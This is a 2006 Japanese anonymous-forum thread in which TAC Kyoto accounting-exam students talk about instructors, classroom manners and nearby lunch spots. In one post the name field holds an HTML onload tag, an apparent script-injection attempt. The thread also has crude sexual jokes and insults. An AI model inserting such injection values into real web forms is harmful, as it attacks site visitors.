      ミミ ヽヽヽヽリリノノノノ
    ミ   ,,、,、,、,、,、,、,、、 彡
     l  i''"        i彡
    .| 」   /' '\  |    
    ,r-/   -・=-, 、-・=- |    
    l       ノ( 、_, )ヽ  |   TACの守護神ジャイアン参上!!
    ー'    ノ、__!!_,.、  |  
     ∧     ヽニニソ   l   
   /\ヽ           /    
 /     ヽ.  `ー--一' ノ/ヽ   

285 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 10:03:05 ID:???
なんだか、末廣の話からずいぶんずれてしまっているが、司法試験の商法と会計士試験の企業法は、短答があるかどうかでぜんぜんちがうので、新人の講義をとるかどうかは慎重にしたほうがいいでしょう。

それとは別に坂本発言は、たしか上級の民法の1回目だったから、六法を持ってこなかったヤツに出ていけといったところで非常識でないはず。簿記の時間に電卓持ってこなかったヤツに出ていけというのと同じ感覚だろう。


286 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 10:20:59 ID:???
講義中に電卓はありなの?

287 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 11:21:28 ID:???
でも、仮にもサービス業なんだから、
その言い方には問題があるだろ。

288 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 11:52:04 ID:???
さすがに「六法がすべて頭に入っているから不要だった」なんて風な
屁理屈は言えないにしても、
ありとあらゆる可能性が考えられるんだから(ついさっき紛失・盗難にあった等)、
そんな時代遅れの熱血教師みたいな態度をとられてもなーって感じ。
それに、教室の雰囲気も悪くなるし、他の生徒もリラックス・集中して授業を受けれないかもしれないだろ。
俺から見ればその教師が吠えた台詞は自己満足(或いはこんな台詞を言っちゃった自分に自己陶酔)に聞こえる。

289 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 16:05:56 ID:???
老ジャイ子どうにかしてくれ〜

290 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 17:49:32 ID:???
吉金はどうよ?

291 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 22:04:13 ID:???
吉金はものすごく不評らしいです。理由はわかりませんが。
○○校の○年本科の入門・基礎マスターでは、吉金クラスの出席者が2人程度という状況。みんな阿部入門に行ったり、企業法を切ったりしています。わけもなく、出席者が2人とかになるはずがないと思います。

292 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 22:35:45 ID:???
>>287に同意。
六法を持ってきていてしかるべきか否かという以前の問題として、
サービスを提供する側としてあるまじき態度。

吉金はぶっきらぼうでやる気なさそうなオーラがあるからじゃない?
教え方もあんま上手くないし(今はどうか知らんが)。

293 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 22:50:12 ID:???
>>292
今は…ということは,吉金先生はかなり昔からの先生なのですか?
吉金クラスを回避した人は,吉金先生のことを「なりたての新人」だと言っていました。

294 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 22:58:21 ID:???
別スレからだけど
塚本先生や市橋先生もなかなか激しいこと言うらしい

497 :一般に公正妥当と認められた名無しさん :2006/11/01(水) 22:21:06 ID:???
>>478
去年大阪の塚本先生が、授業中に携帯触ってた奴(音とか会話は当然なくて
多分メール見てたっぽい?)に「きみ携帯で遊んでるんやったら出て行って」
とか言いだしてちょっとびびった

あとこっちは生で見てなくて別の講師からの又聞きなんだけど
同じく大阪の市橋先生は、授業中寝てる奴には「帰れ」とか言う上に
ヴェテがアホな質問しにいったら「お前10年本科か」とか言うらしいw

295 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 23:01:06 ID:???
>>293
いや、俺が吉金の講義受けたことあるのは去年だから分からん。
確かに新人っぽいというか、あんまり講義慣れしてないような感じはあったかな。
実際どうなのかは知らない。

296 :一般に公正妥当と認められた名無しさん:2006/11/02(木) 00:08:21 ID:???
>>294
別の講師ってのが誰なのか気になる・・・

297 :一般に公正妥当と認められた名無しさん:2006/11/02(木) 04:31:58 ID:???
>>294
授業中に携帯いじってる奴はどうも生理的にウザいなあ。
音を出してるわけじゃなく、人の勝手といえば勝手だし、理論立てて反論しろと
言われたらできないが。
どうせ前の方に座ってるからあんまり他人を見ることはないけどw

まあ先生が注意しなくたって、そういう真剣味のないやつは続かないんだろうけど。


298 :一般に公正妥当と認められた名無しさん:2006/11/02(木) 09:48:46 ID:???
俺がどうしても馴染めない(うっとおしい)のは
●教室への出入りや、レジュメをもらうために席を立つ人がいるたびに
そいつのほうを見る奴。観察魔。
●講義中に講師の許可無しに電卓を叩く奴
●ミニテスト・実力テストでやたら筆圧が強い奴、んで急いで筆を走らせるから
めちゃくちゃうるさい。んで間違ったら舌打ちとかする奴。
●5階→6階とか、歩いた方が早いのにわざわざエレベーターを使う奴。
●教室で仲間と喋る奴。
●授業中にお菓子を食べてる奴(ドリンクは勿論可だけど)
●自習室でやたら出入りが激しい奴。(こっちが集中できないから)15分に一回くらい外に出る。

列挙してみるとかなり多いな・・・俺もまたわがままな人間の1人ということかw

299 :一般に公正妥当と認められた名無しさん:2006/11/02(木) 10:56:23 ID:???
俺筆圧強いんだよね…
一応テスト中は回答用紙の下に
下書き用紙挟んで対応してるが、音は鳴ってしまう。
スマソ(´Д`)

俺は授業後の教室でいつまでも喋ってる奴に
殺意を覚えるよ。
休憩中はまだしも、授業終わった瞬間に
その教室は自習室になるってこと
認識してほしい。

300 :一般に公正妥当と認められた名無しさん:2006/11/02(木) 11:45:29 ID:59irixWF
タバコ臭いヤツがもっとも鬱陶しい。

301 :一般に公正妥当と認められた名無しさん:2006/11/02(木) 12:57:54 ID:???
俺は受けてもない授業・答練でレジュメだけパクって行く奴がウザいなぁ。
なんかいつも同じ奴がやってるし。

302 :一般に公正妥当と認められた名無しさん:2006/11/02(木) 13:54:02 ID:???
いるいる。こっちは金払って授業受けてんのに。マジむかつくよな。
授業中に来やがるから、注意することできんし。

303 :一般に公正妥当と認められた名無しさん:2006/11/02(木) 14:47:20 ID:???
ふつーに犯罪だなそれは

304 :一般に公正妥当と認められた名無しさん:2006/11/02(木) 16:09:48 ID:???
厳密に、理論的に言えば窃盗罪だな。

俺は他人のペンの音や電卓なんていくらうるさくても
全然気にならないんだが、特殊なのかな?
むしろ他人のうるさい電卓の音を聞いたら心地よいBGMになって
自分の方もエンジンが加速するんだがw

結構電卓の音を気にする人が多いようなんで、自分が打つときは
ビクビクしながら打ってる。


305 :一般に公正妥当と認められた名無しさん:2006/11/02(木) 16:28:46 ID:???
>>301
他の校舎の話だが、答練毎回ぱくって出入り禁止になった奴がいるらしい。他の学校の奴だったらしいけどな。
処分としては大甘だよな。窃盗罪だから受験資格剥奪のはずなんだが。

306 :一般に公正妥当と認められた名無しさん:2006/11/02(木) 20:02:59 ID:???
そういう適度な雑音があるから逆に集中できるんだけどね。私語は論外だけど
あれこれ気になる人は自宅ですればいいのに

307 :一般に公正妥当と認められた名無しさん:2006/11/02(木) 21:02:48 ID:???
>>298
講義中の電卓は計算科目じゃ普通だと思うぞ。
むしろ例題の説明中に電卓叩いてないほうがおかしい気がする。
講師は一々許可なんかしないし。

308 :一般に公正妥当と認められた名無しさん:2006/11/02(木) 22:20:30 ID:???
講義中に電卓豪打する奴は池沼。
講師が説明中はやめてほしい。

309 :一般に公正妥当と認められた名無しさん:2006/11/02(木) 22:27:04 ID:???
豪打という表現に笑った。
講師がしゃべっているときは豪打はするべきではないな。
マナーとして。静打なら全く問題ないだろう。



310 :<body onload=window()>:2006/11/02(木) 23:26:51 ID:???
p

311 :一般に公正妥当と認められた名無しさん:2006/11/02(木) 23:29:47 ID:???
老ジャイ子?

312 :一般に公正妥当と認められた名無しさん:2006/11/02(木) 23:31:15 ID:???
>>298
俺は別にどれも気にならんなあ。
電卓豪打と自習室での雑談ならさすがに気になるが。

313 :一般に公正妥当と認められた名無しさん:2006/11/03(金) 11:48:25 ID:???
今年の秋から入学したものなんだけど、
TACって(こう言う予備校全般?)休日でも授業あるんだね。
私事だけど今日に限っては休みたかったんだよなー

314 :一般に公正妥当と認められた名無しさん:2006/11/03(金) 14:54:37 ID:???
雑音・匂い・しぐさETC。
気にならん奴が全員それらを放っているとは限らんが、
他の人が迷惑に感じる行為をやってる人はそれが迷惑だと自覚していない(=そういうのに鈍感・気にならない人)わけだから、注意してくださいね☆

315 :一般に公正妥当と認められた名無しさん:2006/11/03(金) 14:58:29 ID:???
↑日本語がおかしかった

雑音・匂い・しぐさETC。
これらが気にならないタイプの人達全員がそれらを放っているとは断言でき無いのは当然なんだけど、
これらをやっちゃってる人はそれが第三者にとって迷惑だと自覚していない(=そういうのに鈍感・気にならない人)わけだから、
実は迷惑になっている可能性が高いんですよ、ですんで注意してくださいね☆
他の人の迷惑になっていることを承知で豪打・おしゃべりしてる人はどうしよーも無いね・・・

316 :一般に公正妥当と認められた名無しさん:2006/11/03(金) 19:45:29 ID:???
答案構成シートってどんなの?
良さげ?

317 :一般に公正妥当と認められた名無しさん:2006/11/03(金) 21:49:12 ID:???
答案構成シートは機関だけで50問以上あり参考問題もある。とてもよくできています。株式の部分は改訂しているところらしいです。

318 :一般に公正妥当と認められた名無しさん:2006/11/03(金) 23:22:04 ID:???
ちゃらちゃらした運営が迷惑。とくにあいつ。

319 :一般に公正妥当と認められた名無しさん:2006/11/03(金) 23:22:53 ID:???
今日の原計の講義部屋、カップラと整髪料と香水の匂いで阿鼻叫喚だったな

320 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 00:07:10 ID:???
後ろのほうに座ってた俺は勝ち組

321 :一般に公正妥当と認められた名無しさん:2006/11/05(日) 00:45:02 ID:???
>>314
俺は豪打など全く気にしないが、自分では気を付けてるぞ!
ビクビクしすぎて家でやる時よりスピード落ちてしまうぐらいだw
雑談なんてもっての他!

電卓の音って気にする奴はすげえ気にするからなあ。
個人の性格だからどうこう言うつもりはないが本試験で皆
静かという保証はないぞ。


322 :一般に公正妥当と認められた名無しさん:2006/11/05(日) 01:32:04 ID:???
サイレント電卓を豪打するくらいならなんにも問題なし。

もともとそんなに気になるなら耳栓をすればいいし。

それにこの試験の本質として電卓の早さは点数にならない
んだよ。






323 :一般に公正妥当と認められた名無しさん:2006/11/05(日) 01:42:22 ID:???
俺いつまでたっても電卓を早打ち豪打できない。
打ち間違えるの怖くて。
普通にカタカタやってる。

324 :一般に公正妥当と認められた名無しさん:2006/11/05(日) 01:49:34 ID:???
>>322
それが、気にする奴はめちゃくちゃ気にするんだよな。
もうアホかって思うぐらい。
そういうやつは、失礼だが集中力が足りないと言わざるを得ない。
俺みたいにどんだけ豪打されてもBGM代わりになるような
人間もいるんだから(別に自慢するようなことでもないが)。



325 :一般に公正妥当と認められた名無しさん:2006/11/05(日) 01:52:01 ID:???
で、どんだけアホかと心の中では思っていても、やはりそいつが
気にする以上は気を使わなければならないから、俺は自習室は
あんまし使わない。使うときは、すんげぇ静かに叩いているw

神経質なやつは試験で隣が豪打マンだったらどうすんだ?


326 :一般に公正妥当と認められた名無しさん:2006/11/05(日) 01:52:11 ID:???
暇なときに
残高試算表とかの縦合計を出してみ
だんだんはやくなるって。

というか早くうたないと、しんきくさくてたまらなくなる。

327 :一般に公正妥当と認められた名無しさん:2006/11/05(日) 02:05:16 ID:???
短答とかだと開始数秒で電卓マシンガンを全開にしているやつ
が必ずいるW

いったい何を計算してんだ?

328 :一般に公正妥当と認められた名無しさん:2006/11/05(日) 02:07:57 ID:???
>>327
どの試験にもそういう奴は必ずいる。
日商簿記とかでも、「始めてください!」→1秒経過→「豪打開始」とか。
何を計算してるのかは俺にも分からないw


329 :一般に公正妥当と認められた名無しさん:2006/11/05(日) 02:29:17 ID:???
俺も豪打クンは今まで気になって仕方なかったけど、
本試験はアガりまくって気にしてる余裕が全くなかった。
そして小心者の俺は画面見ながらでないと電卓叩けない。

330 :一般に公正妥当と認められた名無しさん:2006/11/05(日) 02:32:25 ID:???
>329
それで試験時間中に解答が書ききれて、点数がよければ
問題ないよ。

あくまでも電卓検定とは違うのだから。

331 :豪打剛:2006/11/05(日) 08:42:59 ID:???
>>328
あ、アレは室内の小心者をふるい落とすための豪打だよ。
頑張ってマスターしようよ!

332 :誰ですか?こんなことで”削除”依頼する恥知らずは:2006/11/05(日) 09:40:07 ID:???

154 名前:受験生 [] 投稿日:2006/11/03(金) 23:49:28 HOST:ZE192207.ppp.dion.ne.jp
削除対象アドレス:

ttp://school5.2ch.net/test/read.cgi/exam/1157294532/310
ttp://school5.2ch.net/test/read.cgi/exam/1159832789/28

削除理由・詳細・その他:
5. 掲示板・スレッドの趣旨とは違う投稿
故意にスレッドの運営・成長を妨害している
ウイルスを貼っている

6. 連続投稿・重複
・ウイルスでパソコンに損害をを与えるのが目的なもの
※無意味なウイルスの貼り付け


333 :一般に公正妥当と認められた名無しさん:2006/11/05(日) 21:35:41 ID:???
開始即豪打君がいると、ばかだな〜そんな焦っても解けるわけないのに、
と余裕を感じる。

334 :一般に公正妥当と認められた名無しさん:2006/11/07(火) 00:20:06 ID:???
同じく。

335 :一般に公正妥当と認められた名無しさん:2006/11/07(火) 22:51:14 ID:???
あの〜いつも昼飯は何食ってる?あと、どこで食ってる?
俺は最近ずっとマクドナルドだったけど、
もう飽きてきた。。。

午前のクラスが延長することもあるから、
あんまり遠くにはいけないしね。

336 :一般に公正妥当と認められた名無しさん:2006/11/07(火) 23:21:36 ID:???
>>335
午後クラスもあるの?
それとも授業後何時間か勉強して帰るのかな?
それとも家が遠いから喰ってから帰宅するとか。
これらの条件次第じゃないでしょうか。

337 :一般に公正妥当と認められた名無しさん:2006/11/08(水) 00:09:16 ID:???
基本的に午前クラスのあと
午後クラスもあります

夜クラスにはいっさい講義を入れていないので
午後のクラスが終わればすぐ家に帰ります。
ちなみに晩ご飯は家で食べます。

338 :一般に公正妥当と認められた名無しさん:2006/11/08(水) 00:53:31 ID:q78XO5Ro
天狗
コンビニ(サークルK)
マック
モス
ファッキン
すき家
吉野家
一風堂(及びその周囲の店もろもろ)

学校から近い順に並べた。


339 :一般に公正妥当と認められた名無しさん:2006/11/08(水) 13:41:33 ID:???
男性でとにかく食いしん坊な人なら、天狗がお薦めですよ。
500円でごはん味噌汁おかわり自由の定食が食えます、場所も激近いですし。

予算次第(800円〜)ではかつくらや一風堂とかもいいですけどね。
かつくらではごはん・味噌汁・キャベツがお代わり自由で、
一風堂も昼時間ならランチの御飯がお代わり自由です。

丼一杯でおなかがふくれるという人はやはり吉野家・すき家・松屋などの
牛丼チェーンが最強でしょうね。

空き教室(午後の授業が行われる教室)で
コンビニで買ったおにぎりやパンをほうばりながら、
レジュメなどに目を通す事もできますし、時間が有用につかえますね。
モスバーガーやマック、ファーストキッチン、牛丼などのファーストフード
は匂いがキツイのでやめたほうがよいでしょうね、テイクアウトは。

かく言う自分は、最近栄養バランスが崩れ気味なので、
パスタにスープやサラダがつくようなランチを食べたりしています。
やっぱ野菜も食べないとね。

340 :一般に公正妥当と認められた名無しさん:2006/11/08(水) 16:02:13 ID:???
ラーメンマンな俺は風花が好みだ。
なんせ並ばなくても食べれるし、塩ラーメンだけど。

341 :一般に公正妥当と認められた名無しさん:2006/11/09(木) 23:12:04 ID:???
一風堂ってどこあるの?

342 :一般に公正妥当と認められた名無しさん:2006/11/09(木) 23:38:23 ID:???
大丸の裏。錦市場の向こう。

343 :一般に公正妥当と認められた名無しさん:2006/11/09(木) 23:51:24 ID:???
いろいろな店を教えてくれてサンクス!!
毎日、TACへ行くのが、少しだけ楽しくなったよ。


344 :一般に公正妥当と認められた名無しさん:2006/11/10(金) 13:23:58 ID:bmIAOTXy
京都ラーメンは全国的に見てもレベルが高く美味いが、
四条付近は糞だしな。
TACから歩いていける距離ならば、一風堂、天天有、
んで木屋町まで足を伸ばして大豊、みよし、そんなもんじゃないかな。

345 :一般に公正妥当と認められた名無しさん:2006/11/10(金) 21:37:55 ID:???
>>344
俺は近場なら風花好きやのに…入れてやってくれよ!
漁師ラーメンも悪くない…俺だけ?
でも、みよしよりは良いぞ、ガッくんマニアには悪いけど。

346 :一般に公正妥当と認められた名無しさん:2006/11/11(土) 00:06:31 ID:???
ラーメンは京都駅近くの第一旭が秀逸
その隣の店もなかなかうまい

347 :一般に公正妥当と認められた名無しさん:2006/11/11(土) 11:43:10 ID:ZjswTfTP
意見コーナーの内容、電子レンジ置けとかムチャ言ってるよなぁ

348 :一般に公正妥当と認められた名無しさん:2006/11/11(土) 16:04:01 ID:PaKQkCA5
新福菜館か、あそこは本店と支店でそんなに味が変わらないチェーン店だから、
京都にある複数店の中で近くの店に行けばいいよ。
第一アサヒは美味いが、店員さんが堅気じゃない人ばかりなので
落ち着いて喰えないw

349 :一般に公正妥当と認められた名無しさん:2006/11/11(土) 23:24:55 ID:???
>>348
新福の河原町店って不味くないか?
たかばしなら、第一旭でラーメン喰って、新福で炒飯、コレに限る。

350 :一般に公正妥当と認められた名無しさん:2006/11/12(日) 02:53:44 ID:???
確かに河原町のしんぷくさいかんはまずい。

351 :一般に公正妥当と認められた名無しさん:2006/11/12(日) 23:33:03 ID:F9v3e3zj
>>347
5階のエレベーター前に貼ってあるやつか。
たまに見ると面白いな。



352 :一般に公正妥当と認められた名無しさん:2006/11/13(月) 00:50:51 ID:???
漁師ラーメン、何度か通うと店長がやたら話しかけてきてダルかったりする。
風花って、こないだ昼頃行ったら「もう終わりましたよー」って言われた。
何時から何時に空いてんのか分からん。

353 :一般に公正妥当と認められた名無しさん:2006/11/13(月) 01:50:34 ID:Z8y99W56
定食情報キボンヌ

354 :一般に公正妥当と認められた名無しさん:2006/11/13(月) 14:04:51 ID:???
ここで暢気にくっちゃべってる奴は間違いなく直前期でDROPアウトだなwww

355 :一般に公正妥当と認められた名無しさん:2006/11/13(月) 16:23:58 ID:???
↑久々の脳無しジャイアン乙

356 :一般に公正妥当と認められた名無しさん:2006/11/13(月) 19:49:12 ID:???
>>352
漁師ラーメンって、入っても誰も居ないので妙に緊張するのは俺だけだな。
風花は確か昼は2時だった気がする、L.O.は解らんけど、1時半でも間に合った。
五行は猫舌なんで二度と行かない。
関係ないが、韓のおしりがキャバクラでなくてショックだ。

357 :一般に公正妥当と認められた名無しさん:2006/11/14(火) 13:29:28 ID:EM92JaS4
お前等バイトとかしてる?
してるやつ、通ってるコース(上級とか、●年目標×年本科生とか)とやってるバイト教えてよ。


358 :一般に公正妥当と認められた名無しさん:2006/11/14(火) 17:36:54 ID:???
俺、上級生だけど、かてきょうやってるよ。

359 :一般に公正妥当と認められた名無しさん:2006/11/14(火) 21:27:00 ID:EM92JaS4
なるほどー
家庭教師って割良い?
時給は高いけど、準備とかで実質時給は低いし、責任感あるから大変って聞くけど。


360 :一般に公正妥当と認められた名無しさん:2006/11/14(火) 23:58:56 ID:???
358だけど、かてきょうは時給はいいけど、
そんなに長い時間できないし総額はそんなに多くないよ。
ただ、準備が必要なレベルの生徒を教えてるわけじゃないから、
基本的に拘束時間は授業と移動だけかな。
たまに準備をすることもあるにはあるけど。

361 :一般に公正妥当と認められた名無しさん:2006/11/18(土) 08:45:31 ID:???
一本の原木から街づくりまで…
京都亀岡・山田木材経営団地!
ょいしょ!(でででん。)

362 :一般に公正妥当と認められた名無しさん:2006/11/19(日) 23:12:52 ID:zLktWC02
お前俺のケツの中でションベンしろ

363 :一般に公正妥当と認められた名無しさん:2006/11/20(月) 01:01:09 ID:???
アッー!

364 :一般に公正妥当と認められた名無しさん:2006/11/20(月) 21:07:14 ID:???
おまいら、祝賀会おもしろかったぞ。
やっぱ京都校は優秀だな
在学中一発合格が何人かいたし

365 :一般に公正妥当と認められた名無しさん:2006/11/21(火) 00:14:51 ID:???
>>364
そんなに、ていうか去年と比べるとほとんどいなかったと思うが…

366 :一般に公正妥当と認められた名無しさん:2006/11/21(火) 01:09:54 ID:???
一人でも参加できる雰囲気?
友達いないねん(´・ω・`)

367 :一般に公正妥当と認められた名無しさん:2006/11/21(火) 05:40:01 ID:???
不合格でした_| ̄|○
また9ヶ月通いますOTL

368 :一般に公正妥当と認められた名無しさん:2006/11/21(火) 11:00:00 ID:???
在学中一発合格で一人できてるやつがいたよ。
タクで全然しゃべらなかったけど、話してみると面白かった。
見た目も格好よくてモテてた。
はげしく嫉妬。
俺には女の子はよってこなかったのに…

369 :一般に公正妥当と認められた名無しさん:2006/11/21(火) 22:22:08 ID:???
祝賀会おもしろかったのか〜
知り合いいないからと思って行かなかったが、損した気分。

370 :一般に公正妥当と認められた名無しさん:2006/11/22(水) 10:16:52 ID:vW7gkRQv
でもビンゴ大会が無くなったのが残念だった。
経費削減だとか…

371 :一般に公正妥当と認められた名無しさん:2006/11/22(水) 13:06:42 ID:???
祝賀会で寿司屋が寿司握ってるのには感動したがな

372 :一般に公正妥当と認められた名無しさん:2006/11/22(水) 21:17:39 ID:lZ++xs3t
1浪1仮面1留、在京某W大卒のフリーターなんだけど、
人には言いにくい経歴が引け目で話し相手作り損ねたんだけど、
ここんとこちょっとばかし侘しさを感じたりなんかして…。
「俺も似たような境涯だ」って人、京都校にいる?


373 :一般に公正妥当と認められた名無しさん:2006/11/23(木) 16:25:06 ID:0hNZf+tw
>>372
友達がいないのが辛いのなら相手が高校生であろうが大学生であろうが、
貴方より年上の人であろうが積極的に話し掛ければいいと思うよ。
俺も今無職だけど、友達は1人もいない。
自分の場合はその方が気楽なんでな。
ところで、お前俺のケツの中でションベンしろ。

374 :一般に公正妥当と認められた名無しさん:2006/11/23(木) 18:47:08 ID:???
短答2000人しかうからないみたいだな

375 :一般に公正妥当と認められた名無しさん:2006/11/24(金) 01:08:42 ID:???
>>372
俺は1浪2留だし基本的にはTACでは一人だから、
似た境遇かもしれん。
侘しいときもないことはないが、
かといって他愛もないことで勉強を中断させられるほど嫌なこともないんで
おそらくこれからもこのままだろう。


とはいえ、やっぱり俺も友達欲しかったりするんだけどな。

376 :一般に公正妥当と認められた名無しさん:2006/11/24(金) 22:57:30 ID:R4Ms75Pj
>>373
下ネタ好きだけど、アブノーマルはカンベンw

>>375
そう、まさしくそんな感じなんだよね。
いちお関西が地元だけど5年間離れてたこともあって
話題を同じくする適当な話し相手に飢えてるのかなと。

実際話すまでキャラが読めないから、互いに迷惑にならんようにするの難しい。
勉強がらみだし、ずけずけ話していって邪魔になっちゃいかんとも思う。
逆にいわゆる悪友みたいになってしまっても困るし。
TACでわざわざ遊び友達作るっちゅーのも、本末転倒なわけで。
ま、友達なんてなろうと思ってなるもんじゃないだろけどさ…。
アンビバレントな心境。

377 :一般に公正妥当と認められた名無しさん:2006/11/24(金) 23:26:22 ID:???
>>322
しね

378 :一般に公正妥当と認められた名無しさん:2006/11/28(火) 00:25:19 ID:???
今日TACにいた、あの人の事を考えると最近ドキドキする。恋かな?

379 :一般に公正妥当と認められた名無しさん:2006/11/28(火) 00:27:16 ID:???
飯がのどを通らなくなったら恋だな

380 :一般に公正妥当と認められた名無しさん:2006/11/28(火) 23:32:24 ID:LvDukJsN
トイレの綺麗さが自慢です

381 :一般に公正妥当と認められた名無しさん:2006/11/29(水) 01:14:01 ID:OFBapItM
過疎ってるな・・・
論文合格の人はこんなスレに目もくれる暇も無いほど忙しい&幸せ。
論文落ちの人はこんなスレにメモくれる暇も無いほど忙しい&鬱。
って感じかな?
まだ入門生の俺も2chなんかやってないで気を引き締めないとな・・・

382 :一般に公正妥当と認められた名無しさん:2006/11/29(水) 01:56:15 ID:GdIR6kX0
来年の合格発表を思うと飯が喉を通らなくなってきた。
恋だな

383 :一般に公正妥当と認められた名無しさん:2006/11/29(水) 12:32:26 ID:OFBapItM
君は会計士試験に恋してしまったのさ。


384 :一般に公正妥当と認められた名無しさん:2006/12/01(金) 20:26:35 ID:???
叶わぬ恋

385 :一般に公正妥当と認められた名無しさん:2006/12/01(金) 23:50:28 ID:xMcn8FtF
3階って何が入るんだろう?

386 :一般に公正妥当と認められた名無しさん:2006/12/03(日) 00:59:44 ID:???
某男性デュオの片一方に似てたかっこいい人を
11月20日ぐらいから見かけなくなっちゃった…。
この前スーツのままロッカーの整理してたから合格したのかな…。
頑張って話しかければよかったな…。




387 :一般に公正妥当と認められた名無しさん:2006/12/03(日) 13:05:54 ID:???
>>386
ザ・たっちか?

388 :一般に公正妥当と認められた名無しさん:2006/12/04(月) 11:26:08 ID:???
狩人か?

389 :一般に公正妥当と認められた名無しさん:2006/12/04(月) 12:28:51 ID:???
俺、某ジャニーズアイドルに似ているんだけど、
このスレッド見ている女の子が気付いて声かけてくれないかなぁ?(プゲラ)

390 :一般に公正妥当と認められた名無しさん:2006/12/05(火) 21:01:26 ID:???
税理士受験生だけど参加していいですか?いてもたってもい

391 :一般に公正妥当と認められた名無しさん:2006/12/05(火) 21:13:48 ID:???
荒らさないならいいんじゃん。

392 :一般に公正妥当と認められた名無しさん:2006/12/06(水) 23:00:04 ID:???
今日、中原先生の同志社大学限定トークあったみたいだけど
ちょっとだけ聞こうと思ったが既に終了してた。
中原先生は同志社OB?

393 :一般に公正妥当と認められた名無しさん:2006/12/07(木) 00:21:04 ID:???
またアホの同志社か

394 :一般に公正妥当と認められた名無しさん:2006/12/07(木) 00:42:13 ID:???
>>393

格下大学乙

395 :一般に公正妥当と認められた名無しさん:2006/12/07(木) 01:36:56 ID:???
中原は同志社出身

396 :一般に公正妥当と認められた名無しさん:2006/12/07(木) 01:52:07 ID:???
同志社の何学部?

397 :一般に公正妥当と認められた名無しさん:2006/12/07(木) 21:25:36 ID:???
まあ、包茎症のどれかだろうな。

398 :一般に公正妥当と認められた名無しさん:2006/12/08(金) 01:01:51 ID:???
法だったはず

399 :一般に公正妥当と認められた名無しさん:2006/12/08(金) 16:07:50 ID:???
コンビニ行くのめんどいんで
喰いモンの自販機あればいーんだが

400 :一般に公正妥当と認められた名無しさん:2006/12/09(土) 07:37:11 ID:???
弁当用意するか、あらかじめコンビニで飯買っとけよ。
おにぎりとかパンとか、冷めても大丈夫なやつをよぉお?

401 :一般に公正妥当と認められた名無しさん:2006/12/09(土) 14:36:01 ID:???
向かいのコンビニのおにぎり、
なんでもかんでもマヨネーズで味付けするのはやめて欲しいな。

402 :毒吐き:2006/12/09(土) 17:24:47 ID:???
一日中TAC校舎内にいて、授業・或いは空き教室を転々としてるんだろうけど、
お茶とかのパックを飲んでいる奴いるじゃん?
ペットボトルでも缶でもなく、1Lのパックね。
俺、誰が部屋で何を喰っていようとも気にならないけど、あれだけは気になる。
一日分の水分を安く買いたい/何度も買いに行くのがめんどくさいのは分かるが、
朝から何度も何度も口付けしてさー、飲み口(本来なら直接飲むものじゃないから注ぎ口だが)
のところが凄い汚いのよ、茶の色とかがついて。
汚い話だけどさ、口の中には菌が一杯いて、一度直接口をつけたものは
直ぐに飲まないと繁殖するのよ、医者とか栄養士とかが言うには。
それをカバンなり、買い物袋なりに入れておくならいいんだけど、
教室の机の上に置きっぱなしw
しかも汚い飲み口のところが全開で、丸見え。
周りが気にならないくらい必死に勉強するのはいいことだし、
時間を節約したり無駄を省く事は素晴らしい事ですが、
最低限の身だしなみとか、マナーとかは守っておかないとな。

403 :一般に公正妥当と認められた名無しさん:2006/12/09(土) 20:27:22 ID:???
↑俺、凄い汚いのよ、まで読んだ

404 :一般に公正妥当と認められた名無しさん:2006/12/09(土) 23:48:37 ID:???
>>402
そいつがいない間にわざとらしくストローおいといてやれ。

確かに直飲みは菌が繁殖する。冬場はいいが
夏はできればやめた方がいいね。


405 :一般に公正妥当と認められた名無しさん:2006/12/10(日) 00:46:43 ID:???
>>404
冬場でも楽観視はできない。
他校は知らないが、少なくともTAC京都校は常夏だから。

406 :一般に公正妥当と認められた名無しさん:2006/12/10(日) 01:02:44 ID:???
他人に対して不快な行動はできないし、
エアコン調整も自分勝手にやれないから、自習室は使わないなあ。
ひたすら自宅で勉強してます。


407 :一般に公正妥当と認められた名無しさん:2006/12/10(日) 15:00:26 ID:???
今四階のエレベーター前にいる奴らうるせぇ

408 :一般に公正妥当と認められた名無しさん:2006/12/10(日) 16:15:05 ID:???
っていうか自習室の利用についてだけど。
自宅付近で騒音があって集中できないとか、家が狭くて勉強ができないとかETC
一部のケースを除けば、
テレビ惰眠その他の誘惑から自律する自身がない人が使うものでしょ。
周りが皆勉強していて、かつ自分自身にも勉強するしか無い状況(自習室)を課すことでね。
勿論「朝と夜だけ授業で午後が空き時間」のケースにおける午後時間の利用を除くけどね。

まあ、こんなこと言ったら自習室派から反論を受けそうだけどw、
電気代(照明・暖房)の節約にもなるとか、そんな程度の反論しか考えられないな。

409 :一般に公正妥当と認められた名無しさん:2006/12/10(日) 18:37:23 ID:???
(´・∀・`)ヘー

410 :一般に公正妥当と認められた名無しさん:2006/12/10(日) 20:56:30 ID:???
騒音といえば「正しい人はひとりもいない。みな悪い人だ」

411 :一般に公正妥当と認められた名無しさん:2006/12/11(月) 09:34:26 ID:???
蘇られたのだ〜
テラうぜえ

412 :411:2006/12/12(火) 00:22:45 ID:VDSmX9Qc
<408
で、君は?

413 :408:2006/12/12(火) 09:33:39 ID:???
家でパソコンぱかりやってますが何か?

414 :413:2006/12/12(火) 22:56:21 ID:VDSmX9Qc
ひっきーか。

415 :一般に公正妥当と認められた名無しさん:2006/12/12(火) 22:57:44 ID:???
今日外で教育基本法の改革について批判演説してたやつうるさすぎだろ。
なんで教育基本法改革せなあかんねん〜♪てアホかと
騒音おばさんよりたち悪いぞ

416 :一般に公正妥当と認められた名無しさん:2006/12/12(火) 23:06:20 ID:???
一定数のキチガイが発生するのはしゃあない。
それから、午前の授業が終わって帰るときに
キリストがどうとか地獄に落ちるとか言ってるアホ車も何とかならんか。

だいたい政府のタウンミーティングのヤラセ質問なんか俺は全面賛成だ。
ああいうのに積極的に出席するのって大概がキティ左翼かフェミ婆系だろうしな。



417 :一般に公正妥当と認められた名無しさん:2006/12/13(水) 02:08:58 ID:hH5Fd1ma


418 :一般に公正妥当と認められた名無しさん:2006/12/13(水) 13:59:36 ID:???
京都+滋賀という広域に点在する、
